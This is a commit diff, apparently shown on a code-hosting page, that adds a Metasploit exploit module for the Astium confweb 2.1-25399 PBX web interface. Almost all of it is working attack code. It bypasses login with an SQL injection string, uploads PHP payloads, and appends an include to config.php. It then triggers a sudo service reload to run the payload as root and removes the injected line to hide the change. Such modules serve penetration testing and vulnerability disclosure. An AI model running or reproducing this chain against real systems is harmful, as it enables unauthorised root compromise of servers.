added Astium confweb 25399 RCE
parent
bc39609cfc
commit
82aa3f97b0
|
@ -0,0 +1,248 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Astium",
|
||||
'Description' => %q{
|
||||
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and lower.
|
||||
Admin access is gained by an SQL Injection authentication bypass in the login form.
|
||||
Having admin access makes it possible to upload PHP code.
|
||||
This PHP code will modify the "/usr/local/astium/web/php/config.php" script and add our payload.
|
||||
A "sudo /sbin/service astcfgd reload" is executed to reload the configuration with root privileges
|
||||
and trigger remote code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '23831' ]
|
||||
],
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['Astium', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Sep 17 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the Astium installation', '/']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri.path
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
# Check version
|
||||
print_status("#{peer} - Trying to detect Astium")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "en", "content", "index.php")
|
||||
})
|
||||
|
||||
if res and res.code == 302 and res.body =~ /direct entry from outside/
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
uri = target_uri.path
|
||||
|
||||
peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{peer} - Retrieving cookie")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "en", "content", "index.php")
|
||||
})
|
||||
|
||||
if res.code == 302
|
||||
if (res.headers['Set-Cookie'] =~ /astiumnls=([a-zA-Z0-9]+)/)
|
||||
session = $1
|
||||
redirect = URI(res.headers['Location'])
|
||||
print_status("#{peer} - Session cookie is [ #{session} ]")
|
||||
print_status("#{peer} - Location is [ #{redirect} ]")
|
||||
else
|
||||
print_error("#{peer} - Session cookie not found!")
|
||||
end
|
||||
else
|
||||
print_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
|
||||
# Follow redirection process
|
||||
print_status("#{peer} - Following redirection")
|
||||
res = send_request_cgi({
|
||||
'uri' => "#{redirect}",
|
||||
'method' => 'GET',
|
||||
'cookie' => "astiumnls=#{session}"
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
print_error("#{peer} - Redirect failed!")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
print_status("#{peer} - Access login page")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'cookie' => "astiumnls=#{session}",
|
||||
'uri' => normalize_uri(uri, "?js=0&ctest=1&origlink=/en/content/index.php")
|
||||
})
|
||||
|
||||
if res.code == 302
|
||||
redirect = URI(res.headers['Location'])
|
||||
print_status("#{peer} - Location is [ #{redirect} ]")
|
||||
else
|
||||
print_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
|
||||
|
||||
# Follow redirection process
|
||||
print_status("#{peer} - Following redirection")
|
||||
res = send_request_cgi({
|
||||
'uri' => "#{redirect}",
|
||||
'method' => 'GET',
|
||||
'cookie' => "astiumnls=#{session}"
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
print_error("#{peer} - Redirect failed!")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
# SQLi to bypass authentication
|
||||
sqli="system' OR 1='1"
|
||||
|
||||
post_data = "__act=submit&user_name=#{sqli}&pass_word=pwned&submit=Login"
|
||||
print_status("#{peer} - Using SQLi to bypass authentication ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "/en", "logon.php"),
|
||||
'cookie' => "astiumnls=#{session}",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
|
||||
if not res or res.code != 302
|
||||
print_error("#{peer} - Login bypass was not succesful!")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
# Random filename
|
||||
payload_name = rand_text_alpha(rand(10) + 5) + '.php'
|
||||
payload_name2 = rand_text_alpha(rand(10) + 5) + '.php'
|
||||
|
||||
# Payload #1 - Our encoded msf payload will be uploaded
|
||||
post_data = "--o0oOo0o\r\n"
|
||||
post_data << "Content-Disposition: form-data; name=\"__act\"\r\n\r\n"
|
||||
post_data << "submit\r\n"
|
||||
post_data << "--o0oOo0o\r\n"
|
||||
post_data << "Content-Disposition: file; name=\"importcompany\"; filename=\"#{payload_name}\"\r\n\r\n"
|
||||
post_data << "<?php "
|
||||
post_data << payload.encoded
|
||||
post_data << " ?>\r\n"
|
||||
post_data << "--o0oOo0o\r\n"
|
||||
|
||||
# Payload #2 - This payload will add a PHP include to /usr/local/astium/web/php/config.php.
|
||||
# The config.php will be reloaded because of the sudo rights to /sbin/service astcfgd reload and thus executed as root.
|
||||
post_data2 = "--o0oOo0o\r\n"
|
||||
post_data2 << "Content-Disposition: form-data; name=\"__act\"\r\n\r\n"
|
||||
post_data2 << "submit\r\n"
|
||||
post_data2 << "--o0oOo0o\r\n"
|
||||
post_data2 << "Content-Disposition: file; name=\"importcompany\"; filename=\"#{payload_name2}\"\r\n\r\n"
|
||||
post_data2 << "<?php "
|
||||
# Open the file /usr/local/astium/web/php/config.php and append an include to our payload #1
|
||||
post_data2 << "$f = fopen('/usr/local/astium/web/php/config.php', 'a');"
|
||||
post_data2 << "fwrite($f, '<?php include(\"/usr/local/astium/web/html/upload/#{payload_name}\") ?>');"
|
||||
post_data2 << "fclose($f);"
|
||||
post_data2 << "system('sudo /sbin/service astcfgd reload');"
|
||||
# Sleep 1 minute, so that we have enough time for the reload to trigger our payload
|
||||
post_data2 << "sleep(60);"
|
||||
post_data2 << "$lines = file('/usr/local/astium/web/php/config.php');"
|
||||
# Delete last line (containing our reverse shell) of the config.php file, else the web interface won't work anymore after our exploit.
|
||||
post_data2 << "array_pop($lines);"
|
||||
post_data2 << "$file = join('', $lines);"
|
||||
post_data2 << "$file_handle = fopen('/usr/local/astium/web/php/config.php', 'w');"
|
||||
post_data2 << "fputs($file_handle, $file);"
|
||||
post_data2 << "fclose($file_handle);"
|
||||
post_data2 << " ?>\r\n"
|
||||
post_data2 << "--o0oOo0o\r\n"
|
||||
|
||||
|
||||
print_status("#{peer} - Uploading Payload #1 [ #{payload_name} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "en", "database", "import.php"),
|
||||
'ctype' => 'multipart/form-data; boundary=o0oOo0o',
|
||||
'cookie' => "astiumnls=#{session}",
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
# If the server returns 200 and the body contains our payload name,
|
||||
# we assume we uploaded the malicious file successfully
|
||||
if not res or res.code != 200
|
||||
print_error("#{peer} - File wasn't uploaded, aborting!")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Uploading Payload #2 [ #{payload_name2} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "en", "database", "import.php"),
|
||||
'ctype' => 'multipart/form-data; boundary=o0oOo0o',
|
||||
'cookie' => "astiumnls=#{session}",
|
||||
'data' => post_data2
|
||||
})
|
||||
|
||||
# If the server returns 200 and the body contains our payload name,
|
||||
# we assume we uploaded the malicious file successfully
|
||||
if not res or res.code != 200
|
||||
print_error("#{peer} - File wasn't uploaded, aborting!")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Requesting Payload #2 [ #{uri}upload/#{payload_name2} ]")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "upload", "#{payload_name2}")
|
||||
})
|
||||
|
||||
print_status("#{peer} - Waiting 1 minute as the reloading process may take some time")
|
||||
select(nil, nil, nil, 60)
|
||||
|
||||
# If we don't get a 200 when we request our malicious payload, we suspect
|
||||
# we don't have a shell, either. Print the status code for debugging purposes.
|
||||
if res and res.code != 200
|
||||
print_error("#{peer} - Server returned #{res.code.to_s}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue